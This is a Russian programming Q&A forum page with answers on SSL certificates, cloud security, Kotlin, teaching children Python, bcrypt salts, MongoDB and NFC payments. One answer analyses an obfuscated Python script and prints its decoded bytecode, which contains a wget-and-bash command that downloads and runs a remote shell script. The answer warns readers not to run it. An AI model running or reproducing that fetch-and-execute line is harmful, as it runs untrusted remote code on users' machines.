• Какой SSL-сертификат лучше использовать для стэйджинга?

    Let`s Encrypt , очевидно. Я вообще не понимаю, кому сейчас нужны покупные сертификаты, кроме банков и подобных структур, где наличие покупного сертификата вписано в регулятивные правила отрасли.
    Ответ написан
    Комментировать
  • Информационная безопасность в облачных сервисах?

    CityCat4
    @CityCat4 Куратор тега Информационная безопасность
    //COPY01 EXEC PGM=IEBGENER
    преимущество использования облачных сервисов с точки зрения ИБ?

    Никаких. Как только информация покинула корпоративный периметр - ты перестал ее контролировать, следовательно твое влияние на ее защиту - нуль.
    Ты не можешь гарантировать что то, что ты видишь на экране в личном кабинете etc. - это то же самое, что происходит с информацией на самом деле. Тебе могут показать, что она супер-пупер защищена и зашифрована всеми способами, а на самом деле запросто может оказаться что к ней имеет доступ любой сотрудник этого самого сервиса. Или даже сервис ее просто удалил из неких соображений.

    Вот например

    В облаке можно хранить:
    - рекламу, ролики по продвижению продукции
    - материалы, утеря которых малоценна
    Ответ написан
    7 комментариев
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев
  • Какие знаниями java нужно обладать чтобы переходить на kotlin?

    402d
    @402d
    начинал с бейсика на УКНЦ в 1988
    Знаю яву и не фига не понимаю в котлин коде.
    Смотришь в код и ничего знакомого
    data class CoverFront
    constructor(
        /** May contain any keyword from [CoverType]. */
        var coverType: String? = null,
        /** May contain any keyword from [Media] or a name. */
        var media: KeywordOrName? = null,
        var mediaCol: MediaCol? = null,
    ) : AttributeCollection {
    
        /** Construct an empty [CoverFront]. */
        constructor() : this(null)
    
        /** Produce an attribute list from members. */
        override val attributes: List<Attribute<*>>
            get() = listOfNotNull(
                coverType?.let { CoverFront.coverType.of(it) },
                media?.let { CoverFront.media.of(it) },
                mediaCol?.let { CoverFront.mediaCol.of(it) },
            )
    
        /** Defines types for each member of [CoverFront]. */
        companion object : AttributeCollection.Converter<CoverFront> {
            override fun convert(attributes: List<Attribute<*>>): CoverFront =
                CoverFront(
                    extractOne(attributes, coverType),
                    extractOne(attributes, media),
                    extractOne(attributes, mediaCol),
                )
            override val cls = CoverFront::class.java
            @Deprecated("Remove this symbol")
            @JvmField val Types = this
            @JvmField val coverType = KeywordType("cover-type")
            @JvmField val media = KeywordOrNameType("media")
            @JvmField val mediaCol = AttributeCollection.Type("media-col", MediaCol)
        }
        override fun toString() = "CoverFront(${attributes.joinToString()})"
    }

    Например, что тут похоже на яву ?
    Только дополнительные костыли для того, чтобы этот класс можно было использовать в java части приложения.

    Знание java & kotlin нужно для написания универсального кода. А так только мешает. Синтаксический сахар разный. Общих моментов меньше чем того что различается.
    Ответ написан
    4 комментария
  • Как передавать ArrayList между фрагментами?

    402d
    @402d
    начинал с бейсика на УКНЦ в 1988
    Сделай сиглетон. Если для работы нужен context, то инициализируй через статический метод в классе Application.
    Ну а вместо Map используй Mutable или просто LiveData.

    Можешь даже класс реализуещий это назвать MyModel :)
    Ответ написан
    1 комментарий
  • Как гуглу удаётся работать так быстро? Какая у него память?

    @Everything_is_bad
    Считаю: 2,050,000 * примерно 512 байт на результат = примерно 1 ГБ = 8Гбит.
    а с чего ты так решил считать? Почему тут не учитывается параллельность, а так же, то что для "About 2,050,000 results (0.29 seconds)" не нужно точных вычислений, достаточно аппроксимации
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    @Drno
    Если идёт нормально - почему бы и нет. универсальность жеж...
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    @ewgenc
    Мой младший на Lua “кодит” в Майнкрафте с помощью мода ComputerCraft. Все очень примитивно, но сама игровая форма ему нравится.
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    saboteur_kiev
    @saboteur_kiev Куратор тега IT-образование
    software engineer
    С одной стороны можно и Питон.
    Но на пальцах поясните что такое байты, что такое память, как в памяти хранятся разные типы данных.

    Эх. В свое время было легко пояснять на примере спектрума с его линейной адресацией и прямым доступом к экранной памяти, где можно было биты "посмотреть"
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    @dmshar
    Да, вы сами себе придумали проблему.
    Во-первых, а какая альтернатива сегодня? Не с С++ же начинать в 11 лет. С другой стороны, есть, конечно Scratch - но как по мне, это просто тупиковая ветвь.
    Во-вторых, есть известная книга Д. Бриггс "Python для детей. Самоучитель по программированию" где такие методологические вопросы уже решены.
    В-третьих, я так и не понял, а чем отсутствие строгой типизации мешает освоению программирования в 11 (!!!) лет? Вы действительно полагаете, что в таком возрасте ребенок будет способен писать приложения, в которых это играет ключевую роль?
    Так в Python и указателей нет. И что? Зато там есть много фишек, которые и упрощают сам процесс понимания, что ребенок делает, и позволяют на готовый результат посмотреть гораздо быстрее, чем при программировании на любом другом языке. А для детей - это самое то, что нужно.
    Но вы, безусловно, молодец, что приобщаете ребенка с измальства. Главное - делать это так, что-бы ему постоянно самому было интересно.
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    AshBlade
    @AshBlade
    Просто хочу быть счастливым
    Зависит от целей:
    - Если нужно просто познакомить с программированием - алгоритмы, логика, - то паскаль сойдет
    - Если хотите дать более фундаментальные знания - то тут уже C/C++ (щадящие версии)

    Я бы не начинал с питона:
    - Сложный переход на другие ЯП
    - Слабое понимание работы компьютеры (типы и т.д.)
    - Непонятные сообщения об ошибках
    Ответ написан
    1 комментарий
  • Как восстановить Telegram?

    @Drno
    Нужен доступ к номеру телефона… так что - никак
    Ответ написан
    3 комментария
  • Как восстановить Telegram?

    CityCat4
    @CityCat4
    //COPY01 EXEC PGM=IEBGENER
    Никак.

    Когда Вы регились с виртуала, Вы осознавали риски, что в случае необходимости восстановления данной учетки Вы не сможете это сделать, так как номер одноразовый. Ну вот, этот случай наступил :)
    Ответ написан
    Комментировать
  • Как запретить пользователям из России обращаться к определенным функциям сервера?

    CityCat4
    @CityCat4
    //COPY01 EXEC PGM=IEBGENER

    Каким способом можно реализовать эту систему

    Спросить. Честно, топорно. Тебе соврали - ну, да, может быть, но косяк не твой. Ты вынужден верить на слово, так как все сервисы геолокации могут показывать неактуальные данные, и кроме того, есть VPN, которые сейчас вовсю применяют как для обхода ограничений РКН, так и для обхода ограничений "IP из РФ/РБ".
    Поэтому единственный способ - спросить. (Это примерно то же самое, что с ответом на вопрос "Уже есть 18?". Никто пока не может проверить, правда ли это и все вынуждены полагаться на слово)

    P.S. Почему я так выделил слово пока? Потому что время, когда тырнет будет по паспорту (госуслугам, ЕГА, черта лысого) и без того было не за горами, а бездумная VPN-изация его тащит за собой, как сержант-старослужащий первогодка на марш-броске - цепко и безжалостно.
    Ответ написан
    Комментировать
  • Как увеличить фото без потери качества?

    @asmelnik
    Если это пиксельное изображение.
    То именно без потери качества и произвольную никак.
    Иначе фотоаппараты и камеры так и остались бы на пару мегапикселей, а архиваторы упаковывали картинки в файлы почти нулевого размера.

    Можно скорее всего фильтрами немного улучшить визуально картинку.
    Ответ написан
    6 комментариев
  • Как сгенерировать изображения с большим количеством текста?

    2ord
    @2ord
    Поиск: how to generate word cloud
    Ответ написан
    Комментировать
  • Куда девается последний символ соли при генерации хэша функцией crypt()?

    ipatiev
    @ipatiev Куратор тега PHP
    Потомок старинного рода Ипатьевых-Колотитьевых
    Отсюда

    Blowfish использует в качестве соли не буквально те самые буквы и цифры, которые вы пишете, а воспринимает их как поток бит, закодированный в свой вариант base64. При этом с помощью 22 символов можно закодировать 132 бита ( 22 символа х 8 бит х 3/4 (кодирование в base64) = 132), из которых реально используются только 128. Соответственно, из последнего символа берется только половина бит.

    Это в частности означает, что для 16 разных солей хэши будут одинаковые:

    thisisahardcodedsaltaO
    thisisahardcodedsaltaP
    thisisahardcodedsaltaQ
    thisisahardcodedsaltaR
    thisisahardcodedsaltaS
    thisisahardcodedsaltaT
    thisisahardcodedsaltaU
    thisisahardcodedsaltaV
    thisisahardcodedsaltaW
    thisisahardcodedsaltaX
    thisisahardcodedsaltaY
    thisisahardcodedsaltaZ
    thisisahardcodedsaltaa
    thisisahardcodedsaltab
    thisisahardcodedsaltac
    thisisahardcodedsaltad


    Cудя по всему, blowfish не берет соль как есть, а сначала раскодирует её, использует, а потом кодирует обратно, и при этом кодировании получается первый из возможных вариантов.
    Ответ написан
    5 комментариев
  • Как можно, и вообще можно ли хранить фото и видео в базе данных mongo?

    ipatiev
    @ipatiev
    Потомок старинного рода Ипатьевых-Колотитьевых
    Если человек ничего не понимает в какой-то теме, он никогда не должен выступать с заявлениями вида "у меня возникла потребность". Потому что такие заявления базируются не на реальных потребностях, а на неграмотности, фантазиях и путанице в голове. И получаются вопросы вида "У меня возникла потребность забивать гвозди микроскопом. Я обыскал весь интернет но ничего понятного не нашел, только понял то что это делается на кухне. "

    Вместо таких заявлений он должен подробно изложить исходную задачу.
    Про которую ему подробно расскажут, как её решать нормально.

    Хранить фото и видео в БД - это как надевать штаны на голову.
    Хранить фото и видео в монге - как надевать на голову помойное ведро.

    Файлы надо хранить в файловой системе.
    Структурированные данные надо хранить в Базе Данных.
    Монгу не нужно использовать ни для чего. Это вообще не база данных, а просто хранилище по типу "куча мусора", которое используется исключительно в стильных модных молодёжных стартупах, в которых не нашлось ни одного специалиста по базам данных. Это была тупиковая ветвь, поднявшаяся на отсутствовавшей на тот момент поддержке JSON в базах данных и хайпе
    Ответ написан
    2 комментария
  • С точки зрения NFC reader-ов есть ли разница при использовании карты с NFC и телефона?

    Во всех случаях - нет, нельзя, всё разное и технически невозможно с учётом того как всё сложилось.

    Чип карты невозможно эмулировать, тк при эмбоссинге карты в чип записывается закрытый ключ, которым карта будет в будущем подтверждать платежи.
    Прочитать этот ключ невозможно.

    Для платежей по NFC используется токенизация - твой банк выпускает токен, который будет храниться на серверах платёжного агента и уже с помощью него будут подтверждаться платежи.

    https://ru.m.wikipedia.org/wiki/Токенизация_(инфор...
    Ответ написан
    Комментировать